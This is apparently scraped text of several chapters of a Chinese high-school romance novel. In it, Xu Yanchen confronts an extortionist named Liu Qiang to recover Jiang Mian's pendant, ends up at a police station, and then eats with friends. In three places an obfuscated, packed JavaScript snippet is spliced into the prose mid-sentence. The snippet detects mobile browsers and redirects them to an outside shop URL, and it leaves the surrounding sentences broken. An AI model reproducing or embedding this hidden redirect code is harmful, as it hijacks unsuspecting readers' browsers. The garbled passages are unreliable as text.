这是她从来不知道,从来没见过的,属于他的另一面。 他很少说这么一大段话,只为了□□这段关系,听完这些,姜绵才发觉自己刚刚说了多么伤人的话。 “对不起,怪我刚才太激动了。” 他扬唇,眉梢微抬:“没关系。” 姜绵用胳膊轻轻撞了撞他:“这么大方啊?” “当然。”他别过头,清了清嗓,“我很好哄。” 难得见他这么不自然,这一刻她才发觉,许言琛跟自己一样,也不过只是一个十几岁的少年,在烦恼和快乐并存的年纪,有自己的小傲娇。 想起他说的从来没有人安慰过他,心底骤然翻涌起一股不知名情绪。 泛黄路灯下,她盯着地面上时不时重叠的两道影子。 抬头瞥见他身上相差无几的颜色,姜绵轻轻皱眉:“你换衣服了?” 扯了扯身上的衣服,许言琛不轻不重“嗯”了声。 看得出来他是真的不适应穿白色,忽然想到学校新发下来的校服,不知道他穿粉色会是什么样子。 想着想着,姜绵倏地笑出声。 “笑什么?” “没什么。”她捂嘴藏下笑意,片刻后正色,“你穿白色真的很好看。” 怎么又提起这个事了?他有些头疼的叹了口气。 “我是认真的!” 以为他又误会自己是敷衍,姜绵声音都拔高了一个度,“你怎么对自己这么不自信?许言琛,你这张脸穿什么都好看的。” “是吗?”他抿唇敛下笑意。 “当然!”想到什么,她立马举手伸出三根手指,“我发誓,这句话我只这么夸过你。” 他勾唇,心情愉悦:“以后也只这么夸我一个人?” 这…… 姜绵在心底暗自盘算,她确实没见过长得比许言琛还好看的男生,饶是跟娱乐圈里面的男明星比他也不输,所以这句话应该只会对他说了吧? 迎着他期待的目光,她重重点头肯定:“嗯!” 果不其然,之后他慢慢翘起嘴角,姜绵跟在他身侧,脚步雀跃,缓缓抛出一个问题:“那个,你最近是不是在学习?” 许言琛插兜散漫应了声。 得到肯定的回答,她开心极了,眼里眉梢全沾上喜意,小跑到他面前,倒退着看他,“怎么突然就改变主意了?” 见她像只小麻雀一样,围在自己身边叽叽喳喳,许言琛放缓脚步,目光不自觉落在她弯弯的眉眼上,声音清冽:“你很高兴?” “当然!不管你是因为什么原因想通的,我可太感谢它了,之前劝你那么久还以为没戏了。”姜绵瘪了瘪嘴,而后又笑得明媚,“我听思彤说过,你初中的时候特别厉害,相信用不了不久,你就又能像之前那样闪闪发光!” “就像……”姜绵仰头看向天空,一番寻找后指向某一处,语气欢快,“就像那颗星星一样!” 循着她手指的方向抬头看去,天空中星星满布,只有那一颗闪烁不停,比其它任何一颗星星都要亮眼。 他弯了弯唇,在低头看见她嘴角浅浅的梨涡时,故作苦恼叹气道:“可是最近总觉得状态不好。” “怎么了?”害怕他就这样泄了气,姜绵停下脚步紧张看向他。 “也没什么,就是感觉有些打不起精神。” “那、那怎么办?”她又开始结巴,“我能帮你什么吗?” 计谋得逞,许言琛侧过头握拳抵唇,掩盖住笑意。 在少女慌张探头打量中,他轻咳着看向她,“办法也不是没有。” “什么办法?” “这样吧,下次考试要是我考进五百,你答应我件事儿怎么样?” 在她疑惑的眼神中,许言琛面不改色:“激励法,这样我就有动力了。” 姜绵似懂非懂地“噢”了声。 虽然他说得言之凿凿,可她总觉得哪儿有些怪怪的。 “那你要我答应你什么事?” “你能力范围内的事,先保密。” 这么神秘吗?她摸了摸下巴,沉思了一会儿,最终应下来:“那好吧。” 考进前五百对现在的他来说,需要往前迈一大步,过程肯定会很艰难。 “你要是遇到困难了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915553|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以放心来问我。” 少女一副助人为乐的样子,许言琛忍笑拍了拍她的头:“嗯,挺大方。” 他离开带起的风让她瞬间反应了过来,姜绵摸了摸头顶,有些生气地追上他,“不对啊,好处怎么都让你得了!许言琛你是不是故意的!” 三言两语就把她给匡了进去,她还在那儿不明所以傻乎乎的乐着。 看着她那张气乎乎的脸,许言琛终于不再忍着,从喉咙里溢出愉悦的笑声,“答应了就不许反悔。” “放心吧,我才不是你,我光明磊落,说到做到!” “行,光明磊落,说到做到。”他噙着笑,低下头看了眼手机上的时间,才发觉这段路走了挺长时间。 又突然想到什么,他抬眸将视线投向她,“对了,你今天怎么回来得这么晚,还没坐公交?” 在最后一班公交车上没看见她的身影时他就觉得奇怪,沿路走了大半才看见街对面小跑的她。 当时隔太远没看清她脸上的表情,现在想想总觉得有些不对劲。 “那个是因为,因为我有事突然耽搁了,就、就没来得及赶上公交。”没想到他会转个弯提及这个,姜绵措手不及,情急之下编了个理由掩饰。 “是吗?” 他垂眸看她,姜绵有些心虚的咽了咽口水。 忽的,许言琛轻笑一声,攥住她的手腕俯身靠近她,“姜绵,你不知道吗,你紧张的时候就会结巴。” “所以,你现在在紧张什么?” 少年俊朗的脸庞逐渐贴近,温热的呼吸喷洒在这咫尺之间,姜绵瞪大眼呆愣住。 在视线慢慢往上移对视上的那一刻,她猛地回过神偏过了头。 许言琛带着玩味的眼神,不紧不慢从她脸上移开,却在晃眼瞥见她细嫩脖子上泛着红的痕迹时,忽然顿住。 鬼使神差,他皱紧眉,伸手触摸:“这是怎么弄的?” 带着燥意的指尖落在脖颈间的肌肤,轻轻摩挲着,敏感中泛起一片颤意,姜绵大脑缓冲了好几秒,反应过来后才想起用力推开了他。 不设防的,他整个人被这股力道推得往后退了几步。 再抬眼时,眉眼中已经带了些怒气。 他咬紧后槽牙:“谁弄的?” 少女皮肤雪白,平时轻轻一捏就会留有痕迹,只不过消散的很快,他攥她手腕时都没用几分力。 那样触目惊心的红痕,绕了脖间一大转,一时半会儿都没能消下去,他甚至都能想象到对方用了多大力。 姜绵捂住脖子,死咬嘴唇不说话。 他闭了闭眼,语气骤然又冷了几分,“再问一遍,谁弄的?” 在他一遍又一遍的追问中,姜绵就快要坚持不住了,可想到刘强答应她的那些话,她不能在此时让一切都前功尽弃。 “这是我自己不小心弄到的,没关系的,一会儿就好了。” “姜绵,你当我傻是不是?” 她看向他,几乎是恳求,语气软得不行:“真的没事,你别担心了。” 两相对峙,许言琛最终还是败给她乞求的眼神,吐了口气,无奈朝她招手:“过来我看看。” 犹豫小会儿,姜绵磨磨蹭蹭朝他走了过去,一颗脑袋始终低埋。 脖间的手慢慢放下,伤痕在月光的照耀下一览无余。 “疼吗?”他垂首,长睫遮住眼底的疼惜,用指腹轻轻抚摸那道红痕。 她咬唇,轻轻摇了摇头。 “小骗子。” 许言琛声音有些哑,盯着那道红痕,眼里的冷意经久不散。 她说不疼,可他却觉得疼极了,那怎么办呢。 看来只能用他消疼的方式了。 37. 消失 雨季一过,锦一中校内焕发着生机与活力。 食堂人满为患,好不容易找了个空位置坐下来,陈思彤看了眼四周无处不在的粉衣群体,幽幽吐槽:“让我们穿这么好看的衣服抢饭简直是有辱斯文!” 不得不说,有了引发上届同学集体吐槽的屎黄色校服后,这次学校的眼光好多了,淡粉色的衬衫搭配下半身的黑色,男女生穿都不落俗气。 至此,她们这一届的校服荣登开校来最佳服饰NO.1,其他年级的人羡慕不已。 姜绵低头理了理有些皱了的裙子,有些不习惯。 裙子终究是没有裤子方便。 陈思彤忽然侧过头,凑近些一脸坏笑把手伸向她的腿,“姜宝,让我摸摸看你穿那个没有。” 姜绵赶忙一把摁住在腿上游走的手,脸颊发烫:“穿、穿什么?” “啧,就那个啊,我给咱俩买的那个老头儿短裤,让我看看你穿没有。” 早在还没确定校服是裤子还是裙子的时候,陈思彤就已经做好了准备,从菜市场里淘了两条老头儿夏天必备短裤,格纹款式简约又不失潮流。 用她的话来说,就算最后不用做打底裤,之后放假去江边玩的时候穿也是个不错的选择。 大庭广众之下看这个未免太猖狂了些,姜绵干笑着推走她的手,低声稳住她:“穿了穿了,放心吧昂。” “是吗?” 半信半疑间,陈思彤撤回了手,等人一个不注意,又杀了个回马枪,“我不信,让我摸一下,摸一下我就信了!” “陈大宝!不——行!” 哪个好人在吃饭的时候摸别人裙底,万一被人看见了,岂不是名节不保。 光是想象那个画面就够起一身鸡皮疙瘩了,她誓死不从。 “就让我摸一下,我发誓,摸到裤脚料我就收手!” “不、行!” “哈哈!怎么样,我就说还有位置吧!” 突然贴近的声音让正在桌底暗自较着劲的两人瞬间停了手,纷纷抬头朝声源看去。 桌对面,程渡端着餐盘兴奋落座,感受到视线后抬眼朝她们看去,面露疑色:“你们俩干嘛呢?” 张滔也紧随其后坐到对面,闻言看向她们,发现两人正以一种及其别扭的姿势紧靠在一起。 “对啊,你们干嘛呢,贴这么近,大热天的不热吗?” 回过神来,姜绵瞬间松了手,朝一边挪了挪,拉开了两人距离。 “是有些热哈。”拿手扇了扇,她整个人略显慌乱。 好险,还好没被他们看见。 “我说你们两个,这食堂不止我们这儿有空位吧?”陈思彤不爽看了看他们俩。 “那咋了。”程渡把脸凑近了些,欠欠儿说,“小爷我想坐哪儿就坐哪儿,难不成这里刻了‘陈思彤专属’几个字?” “你!”陈思彤被他这幅样子气得不轻,咬碎牙却在看见他餐盘里的东西后松了劲,不动声色咽了咽口水,“你们哪儿来的这个?” 循着她的视线看去,程渡挑起餐盘里的大鸡腿,又看了眼她那毫无食欲的餐盘,笑得贱嗖嗖:“哎呀!你没有吗?太可惜了,我替你尝尝啊。” 说完他就一口咬了下去,闭眼一脸享受的细细咀嚼,而后出声赞叹:“好吃!简直太香了!” “好你个程渡,吃吧,噎不死你!” 姜绵在一旁边笑着看他们幼稚斗嘴,边夹起餐盘里的土豆往嘴里放。 “那个,姜绵。” 她顺着声音抬头看,张滔夹起自己碗里的鸡腿,有些紧张的看向她,“我这里还有一个,你吃吗?” 筷子就这样停在了嘴里,姜绵好半天没反应过来,张滔看了眼自己的筷子,慌乱解释:“这筷子我还没有用过,这,这饭我也一口没吃的。” 反应过来他是什么意思,姜绵连忙摆手:“不用了,你吃吧,谢谢啊。” “没事。”夹起的东西慢慢放下,他低下头笑了笑,“我就想着你给我们补习挺不好意思的,而且我也不是很爱吃这个。” “什么!你不爱吃这个啊?” 关键信息被陈思彤提取到,她蹭地起身伸长手夹起鸡腿放进自己碗里,朝他笑得灿烂,“没事没事,我喜欢吃,我帮你分担,不用谢啊。” 程渡一脸嫌弃:“要点脸吧,你这是明抢啊,女土匪!” 吃到想吃的东西了,陈思彤也不跟他计较,咬了一口故意咂咂嘴,夸张的样子看得程渡嘴角直抽。 “对了,怎么就你们两个人,许言琛去哪儿了?”姜绵总算发现了不对劲。 “许哥啊,他说他有事儿,不知道去哪儿了。”说到这儿,程渡有些遗憾,“不然我们俩怎么会沦落至此,早就去品尝外面的山珍海味了。” 什么事儿这么急,连午饭都不来吃。 又想起那天晚上他在自己房间给她脖子擦药,指尖的温热和低声的安抚还历历在目,经久不散。 姜绵有些心猿意马的埋着脑袋戳着米饭。 “就你还去吃山珍海味,山猪品得来细糠吗?那些食物进你嘴里都觉得自己被糟蹋了。” 论打嘴仗陈思彤就没输过,程渡咬牙切齿半天,只愤愤说:“我好男不跟女斗!” “我还人类不跟猪抢!” “我还不跟狗叫!” “嘬嘬嘬。” “……” 一个鸡腿引发的血案…… 这两人只要一见面就尽吵小学生的架,姜绵无奈摇了摇头。 一顿午饭吵吵闹闹吃完,回班上的时候,班长正拿着张表一个个让其他人填写。 “写什么东西啊?”程渡坐下来看向还在最前面打转的班长。 前桌的男生闻声回头解答:“分科意愿调查,这不马上就要分文理科了嘛。” “啊,这么快啊?” 提到分科陈思彤有些难以置信,一想到后面可能会分开,她突然就开始伤感:“我觉得现在这个班也挺好的,以后要是去了其它班一个人也不认识,也太难受了吧。” “姜宝,我最舍不得的就是你了,你会选什么科?我看看还能不能继续追随你。” 前不久祝学长提了一次,她之后认真考虑很久,现在倒是不纠结了。 姜绵:“理科吧。” “果然。”陈思彤叹气,学霸果然还是更偏爱理科。 张滔在一旁一本正经“安慰”起她:“没事的陈思彤,还好你差得很均匀,选哪科都一样。” 陈思彤:“……” 他们是不损她会死吗。 “你们呢?你们选什么?”作为他们的小老师,姜绵很负责任地关心起两人的分科问题。 程渡:“我大概也选理科吧。” 张滔:“我应该选文科。” 姜绵点了点头,倒是不意外他们的选择。 从这段时间的补习来看,他们做的选择都是最适合自己。 轮到她填表格的时候,她毫不犹豫就在理科后面那划了勾,视线落到下面那个名字上,她有些好奇他的选择。 “咦,许言琛还没回来吗?” 姜绵看了眼旁边空着的位置,“没有,不过应该快了。” “行吧,那他回来了记得告诉他一声。” “好。”她点头,慢慢握紧手里的笔,不知为何心里总感觉有些不安。 只当他很快会回来,班长拿起表格往前走,到了陈思彤手上,她理科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963916|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和文科之间反复横跳许久,始终没下笔。 班长看不下去了,开口催促她:“这只是一个调查表而已,不是正式的分科表,后悔了后面可以改的。” 就算是这样,她还是迟迟下不了手。 总觉得这一划就直接定性了,后面应该都不会再改了。 最后,她还是将笔尖挪到了理科下面,缓缓打下勾。 就这样吧,反正两个对她来说都没什么区别,不耐烦的将表递给旁边的人,突然想到什么,陈思彤好奇的将头靠过去。 只见他没带丝毫犹豫就在文科下面打了勾,这速度跟刚刚的她简直就是天壤之别。 “你学文科啊?” 将表还给班长,林轩翻着桌上的语文书,没什么感情淡淡嗯了声。 陈思彤自讨没趣的扭过头,随便他学什么,以后不用跟他做同桌应该高兴才是。 一个午休过去,身边的位置依旧是空着的,许言琛还是没有回来。 程渡他们也不知道他的去向,直到下午班长来问好几次,姜绵看着手机界面上一条没回的信息,趁着下课,她让程渡给他打电话。 几人围在一起,看着手机上拨通的号码,面露喜色,可一直到音乐结束,只响起了冰冷的机器人声音。 姜绵看着挂断的通话记录,抿了抿唇:“再打一次。” 程渡照着做,可无论打多少次,结果都一样,电话是通的,可对面就是没有人接。 她看着正在拨号的界面一言不发,内心却波涛汹涌。 许言琛,你到底去哪儿了? 为什么她会这么不安。 杂乱小巷里。 黑色外套被丢在一旁高墙下,口袋里的手机一边震动一边亮出微弱光芒。 熄灭又亮,熄灭又亮,反反复复,直到最后没有了一丝反应。 一道呕哑难听的声音率先打破平静:“我没找上你,你倒是先来找上我了,许言琛,你比我想象中的还不要脸!” 闻言,背对着巷口插兜而立的人掀起薄薄的眼皮,一双眼眸没有丝毫温度。 对比起里面邋遢不堪的人,少年俊秀清隽,粉色衬衫的扣子从上面解开了一粒,露出好看的锁骨,额前的头发被微风带起轻抚过深邃眉眼,他松垮站在那儿,单薄却又有力。 刘强就是恨极了他,恨极了他这副处事不惊又信手拈来的样子。 他随随便便一弄,就让自己的一辈子都毁了,他却一点愧疚心也没有,凭什么! “医疗费我都给了,如你所愿我被所有人厌恶,你还来找我干什么?” 从兜里掏出手,许言琛朝他勾了勾,冷下声:“东西拿来。” 刘强没反应过来,“什么东西?” 他嗤笑了声,一字一句:“要我提醒,你拿了什么不该拿的东西?” 静了几秒,刘强看着他大笑,面目狰狞:“你果然是为了那个女的,我都告诉她了,项链和你只能二选一,看样子,在她心里,你还不如那个破坠子!” 许言琛眸色一暗,看着他脸色逐渐阴沉:“东西,拿来。” 少年周身气压越来越低,刘强舔了舔满口黄牙,不紧不慢摘下脖间的观音项链,拿在手里摩挲几下,朝人丢了过去。 吊坠稳稳接在手里,看着手心那枚透泽的玉佩,许言琛不动声色弯了弯唇角。 “东西是给你了,但能不能带走就得看你本事了。”刘强笑得阴森,用力拍了拍掌,没多久身后转角处出来几个小混混。 脚步声越来越近,许言琛头也没回,将手里的东西小心放进裤子口袋,抬眸时表情依旧波澜不惊。 他顶了顶腮,勾唇笑得嘲讽:“账还没算完呢,当然一个也逃不掉。” 38. 逃课 在等了一下午还没等到人回来后,班长拿着缺了一人填写的表格去了办公室交了差。 日近黄昏,姜绵兴致缺缺趴在走廊边,盯着昏暗天空中渲染的一抹彩霞发着呆。 一旁的几人也都愁眉苦脸,学校里能找的地方都找了,最近校外又不是很太平,恶劣事件频发,他们担心万一他被人劫财劫色了怎么办。 正好这两样东西许言琛都有。 程渡看着拨了数次都没能拨通的号码,挠了挠头:“不应该啊,许哥之前就算有事也会跟我们俩说一声,这次怎么一声不呛玩儿上消失了?” “那个词叫‘一声不吭’。”陈思彤满是嫌弃看了他一眼,随后慢悠悠叹了口气,“依我所见,许言琛一直是一个很随性的人,说不定他就是突然觉得有些累了,回家睡笼觉去了。” 说完她撞了撞身边一直闷闷不乐的人,笑着安慰起她:“没准等你放学回去敲敲他的房间门,就会收获一个睡眼惺忪的美男子。” 姜绵转了个身,背靠着走廊扶手,看向教室后排那个空荡荡的位置,耸了耸肩对她的说辞表示怀疑:“如果是这样的话为什么他连电话都不接,后面还把手机给关机了。” “这就更能证明了,他实在是困的不行,之所以关机可能是嫌我们太吵了。” 这个逻辑虽然有些强盗,但也不是说不通。 想起最近几天许言琛眼底的乌青,姜绵觉得说不定真是她说的这样。 自从那天晚上答应了他所谓的“激励法”,他罕见地没有再在课上打过瞌睡,连下课都在认真背着书上的文言文。 为了那个考进前五百名的目标,他最近压力一定很大。 她想,下次见到许言琛一定要告诉他,让他注意劳逸结合,再这样下去身体很容易垮掉。 如果是这样的话,他今天回去休息休息也好。 “是吗?可是今天许哥走的时候不像是很疲劳的样子啊,而且他还跟我们说……” “说什么?” 几乎是同时出声,姜绵她们齐刷刷看向张滔,只见他瞬间不知所措地摸了摸脖子。 “许哥他跟我们说,如果等到放学他还没回来的话,让我们帮他把东西给带走。” 那就不可能是回去了,没有回去了还要再来的道理。 姜绵把视线落在他桌子的抽屉里,微微失神。 “那你们怎么不早些说啊!”这么重要的信息到现在才告诉她们,陈思彤拧眉不满。 两人后知后着起急来:“我们也没想到会联系不上人啊,许哥不会真出什么事儿了吧?” “呸呸呸!闭上你们乌鸦嘴。” 转头看向一旁面色不佳的人,陈思彤拉起她的胳膊,也有些慌,“要不我们去告诉老周吧,万一……” 一颗心早已经七上八下,姜绵心绪紊乱,她知道许言琛不是一个喜欢一时兴起的人,今天的突然消失想必是早就筹划好的。 到底是什么事,能让他做好不回来的打算。 她难得不知所措起来。 “发生了什么事,学校外面怎么有警鸣声?” “我刚刚从那边回来的时候也听见了,学校外面好像围了很多人,不知道在干嘛。” “听贴吧里说,外面有人打架把警察惹来了,好像还动了刀。” “喏,这儿还有照片,可惜是个背影还有些模糊,不过这衣服好眼熟啊。” “这不是我们的校服吗?怎么还是我们学校的啊?” 不远处一堆人围在一起,讨论的话一字不差落入耳中,心中紧绷的一根弦瞬间断开。 姜绵不受控制往后退了几步,脑海中全是那几个字。 还动了刀,还动了刀。 动了刀…… 恐惧感席卷全身,她猛的转身奔向楼下。 陈思彤反应再迟钝也猜到了一种可能,二话没说拔腿跟了上去,“姜宝,你慢点跑!” 走廊上闲聊的人都被这阵动静吸引着看了过来,程渡和张滔脑子一时宕机愣在了原地,反应过来后慌乱对视一眼,脚步凌乱地跑向楼道。 “等会儿等会儿!”才下几个阶梯,程渡停住,转身拦住身后的人,语气急迫,“拿书包,去把书包拿上!” 张滔愣愣点头,随后拍了拍他肩膀,“行,我去拿就行,你快去跟上她们!” 程渡用力点了点头,疾跑着追上了她们,一手拉住一个人,大喘着气迎上她们不解的目光。 “我知道有一个地方可以翻出去,跟我来。” —— 出警察局的时候天已经彻底黑了下来。 许言琛从兜里掏出手机怎么摁也摁不开,才发觉它不知道什么时候关了机。 他扭头看向一旁送他出来的警察,声音透着些疲惫:“麻烦问一下,现在几点了。” “八点二十五。” 原来已经这么晚了。 他皱了皱眉,看来学校是用不着回了,不过应该能赶在她之前先回家。 “谢了。” “应该是我们谢你,多亏你U盘里的证据,替我们解决这么一个大麻烦。” 一旁的警察笑着拍了拍他的肩,看向他胸前的校徽,“你是锦一中的吧,改天上你们学校表扬一下。” 许言琛拉上外套的拉链,扬唇笑得散漫:“警官,用不着恩将仇报吧。” 警察没有说话,转身大笑着进了局里。 街上霓虹灯璀璨,城市在夜晚中生气十足。 低头看了眼手心有些湿漉漉的东西,许言琛眉梢染上些笑意。 不动声色慢慢收拢手掌,他抬脚走下长阶梯,才走几步还没来得及抬头,面前就被几个人给团团围住。 看清来人后,他先是一愣,而后有些错愕地问:“你们怎么来了?” 几人都有些气喘吁吁,姜绵弯腰撑着膝盖,语气有些生气:“那你呢,你怎么会在……” 抬头看见他,那些质问的话顿时卡住。 她靠近了些,伸手想摸他眉骨处的那道触目惊心的伤痕,又怕弄疼他,没忍住哭腔:“怎、怎么,怎么伤得这么重,痛不痛啊?” 许言琛眉眼柔和,朝她笑着摇了摇头。 剩下三个人一听他受伤了,瞬间挤上前。 陈思彤:“我去!许言琛你毁容了啊?” 张滔:“不是吧许哥,哪个孙子弄的,我弄不死他!” 程渡:“没事没事,颜值还是抗打。” 许言琛:“……” 他眼神始终落在面前皱着张小脸的人身上,笑着安慰起她:“别哭丧着脸了,我这不没事儿吗?” 被忽视的三人:“……” 什么鬼,他们就这样被略过了,还莫名其妙被塞了一嘴狗粮。 原来不可一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993028|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世的人变成这样,程渡没眼看,瘪着嘴去拉他,“快跟我们说说到底发生了什么?” 被他这样一拉,许言琛没忍住轻“嘶”了一声。 程渡赶忙松了手,小心抬起他的胳膊,“怎么了?还有哪儿伤着了?” 姜绵也担心的凑上前,许言琛瞥了她一眼后,把手往后撤了撤,抿唇隐忍:“没事。” “什么叫没事!”他总是喜欢这样云淡风轻掩饰一切,姜绵气极了,抓着他的手不让他动。 “真没事,你别看……嘶。” 袖子被她小心挽上去,胳膊上一道血迹快干涸的划痕出现在他们眼前。 明显是被锋利的东西所划伤的。 几人皆是一愣,姜绵抖着手伫立在原地,想起学校走廊上那些人说的话。 她拧着眉胸脯剧烈起伏,迈开步子就要往警局里进,被一旁人眼疾手快拉住。 少女显然是真的生气了,任凭他怎么拉她还是一腔孤勇地往前走。 许言琛只好伸手圈住她的整个肩膀,柔声平复起她的情绪:“别去了。” 姜绵扭过头,眼里雾气朦胧,却一脸倔强:“他们这是杀人!” “就是啊许言琛,什么仇什么恨啊对你下这么大死手?”这次就连陈思彤都觉得过火了。 姜绵静静看着他,似乎在等他的一个回答。 知道这次瞒不过去了,许言琛叹了口气,松开了她,“是刘强。” 程渡他们一脸懵:“刘强?刘强是谁?” 只有姜绵在听见这个名字后愣在了原地。 她应该想到的。 只是她找不到一个合理的理由来解释这一切。 眼泪慢慢滑落,她愣愣道:“为什么?” 少年只是笑了笑,拉起她的手,宛如一个打了胜仗的将军,将攥了很久的东西轻放进她手心。 “我想想。”许言琛沉吟片刻,透过眼睛深深看着她,“大概是因为,你很重要。” 这一瞬间,她突然忘记了呼吸。 他低下头轻笑了声,继续说:“你很重要这个东西。” 原来他都发现了。 她用力握紧了手,声线更加颤抖:“是,很重要的东西。” 这是在这一刻,重要的意义好像又覆加了一层。 “不是,你俩怎么回事啊?” 张滔视线放在两人交叠的手上没有说话,程渡和陈思彤上前各拉一人,不满质问,“还是不是好朋友了,你们到底瞒着我们什么了?” 陈思彤愤愤:“对!你们俩今天必须给我们仨一个交代,好歹也是一起逃过课了,也算是共患难了吧?” 姜绵咽了咽口水,还是越想越不解气,拔腿又想往里进。 “哎哟!别去了姑奶奶。”陈思彤干脆抱住她的腰,给许言琛使了个眼色,“警察叔叔会主持公道的。” 他立马捂住自己的手臂,故作柔弱起来:“没关系的,我都可以,就是不知道我这个伤口,还能不能再坚持。” 姜绵卸了力,眼神流转到他手臂上,抿了抿唇角。 算了,现在这个情况,还是先处理伤口要紧。 “走吧。”她转身。 几人看向她:“去哪儿啊?” 姜绵语气淡淡:“药店!” 身后,许言琛抬脚跟上,缓缓勾唇。 他就知道这招有用。 39. 说谎 “什么?还有这事儿!” 在听完事情经过后,陈思彤拍桌而起,看了眼旁边心虚低下头的女生,又把视线移到对面两人身上,眯了眯眼:“你们俩,不会也知道吧?” 程渡和张滔连忙摆手摇头。 “苍天可鉴,我和滔儿没比你早一秒知道!” “那还差不多。”她这才坐下来满意点点头,转移了攻击对象,“难怪当全校都怀疑许言琛是那个变态的时候,姜宝你却对那些传言嗤之以鼻,合着我们三个完全是被蒙在鼓里的啊?” 知道她最在意的就是朋友之间的坦诚,姜绵立马贴上去解释:“我也是无意间才发现的,第一次碰见这样的事,我当时脑子都懵了,一时就忘了要告诉你。” 她这样一撒娇,陈思彤火降了大半,轻吁一口气扳直了她的肩:“你明明知道我生气的不是这件事,那个叫刘什么的人渣,他都这样对你了,你竟然不告诉我。” “就是啊姜绵,你应该告诉我们,我们替你出气,哥几个别的不行,收拾一个他还是不在话下的。”似乎是要证明自己的能力,说完程渡用力锤了一下桌面。 街边支起来的小木桌经他这一锤开始摇晃,姜绵扶了扶桌沿,干笑着看向他,“他们也没对我做太过分的事情,说到底无非就是缺钱用了,想找我讹点儿钱。” “他……他们?” “对啊。”她仔细回想了一下,皱眉说,“刘强好像还收买了三个小弟。” 几人咋舌。 他们想着最坏也不过就是那人带刀1v1,没想到竟然是带刀4v1啊。 “许哥,你太牛了。”说着程渡看着他胳膊上已经包扎好的伤口,又看了眼他眉上贴的创口贴,发自内心感慨,“竟然这都没进ICU?” 许言琛不满啧了一声,将手里才擦完碗的纸巾朝人丢了过去,漫不经心道:“能不能说点儿好听的?” 说完就把才清洗干净的一套餐具换给了身旁的人,姜绵看着自己桌前干净到发亮的餐具,一瞬间的错愕后,才想起制止他。 “我自己来就行,你的伤……” “不碍事。”他依旧漫不经心,又抽出一张纸巾不紧不慢擦着。 对一切都轻描淡写好像是他一贯的风格,哪怕刚刚才经历那样惊心动魄的事,从他身上却看不出丝毫凌乱的样子。 她收回手在一旁静静看着他,抿紧了唇。 “菜来了!” 烧烤店的老板吆喝着举着托盘走过来,将一盘又一盘的菜搁上桌。 桌子被摆得满满当当,陈思彤已经按耐不住想要动筷子的心情了,“许言琛你也忒大方了,点这么多菜!” 下午被这事儿搞得饭都没吃几口,几人早已经饿得不行,陈思彤看着中间那一大盘小龙虾直流口水。 现在她总算是知道程渡他们为什么喜欢在吃饭的时候缠着许言琛了。 这么大方一金主,换谁谁不缠? 于是她一边嗦小龙虾一边说:“下次你们去吃饭一定得带上我!” 程渡第一个拒绝:“不要,你来了我俩还能吃饱吗?” “拜托,你明明吃得比我还多好不好!” “就不带你,你能怎么样?” 两人一边吃一边吵,手里和嘴里都没停下来过,老板看着他们笑呵呵:“菜上齐了,大家慢慢儿吃。” 在他要离开时候,姜绵出声喊住了他:“老板,你们这儿有粥吗?” 许言琛抬眸看向她。 “粥?”没见有人吃烧烤喝粥的,老板愣了一会儿才说,“粥倒是有,不过那是我们自己煮来吃的,你要是不嫌弃我给你盛一些来。” 她礼貌朝人笑了笑:“谢谢老板,麻烦了。” “等会儿。”程渡被辣得直冒汗,伸手求救,“老板,再帮我们拿五瓶可乐。” “那个老板,拿四瓶就可以了。”姜绵急着补充。 老板扫了眼几人,觉得有趣:“好嘞,稍等一会儿啊。” 等人离开后,姜绵总算如释重负拿起桌上的筷子准备夹菜,身边人嗤笑一声质问道:“让谁喝粥?” 她放下筷子侧头看向他,言辞正义:“你最近得吃清淡一些,对伤有好处。” 眼前这一大桌他点的东西,看来是一口也吃不到了,许言琛接受她这个说辞,挑了挑眉:“可乐也不让喝?” 她点点头:“这些东西都不健康,一起忌了。” “姜宝说得对,你这几天必须得忌口,这样伤口才能好得快些。” “我看你就是怕多一个人跟你抢吃的吧。”程渡拆穿她,“不过我也赞同姜绵说的话,许哥你可得保重身体啊!” 许言琛斜了他一眼,把视线放回到面前人身上,扬了扬唇角:“行,听你的。” 于是接下来餐桌上的画风变得诡异,一边的几个人聊着天敞开了肚子吃,只留一个人捧着一碗粥慢慢喝着。 姜绵一边剥小龙虾一边看向他,“好喝吗?” 本来他想说还行,但在看见她关心的目光后,许言琛撇了撇嘴:“不好喝。” 也许是他这个样子太过可怜,姜绵扑哧笑出了声,将剥好的小龙虾放进清水里面过了好几遍后,夹到了他碗里。 “这样就可以了,吃吧!” 他还是头一次见这么清淡的小龙虾。 许言琛夹起它,抬眸对上她笑盈盈的目光后,将东西放进嘴里嚼了嚼。 “好吃。” “好吃?”姜绵换了副表情,没由来的开始担心起他。 都这样了还能好吃,许言琛不会味觉出问题了吧? 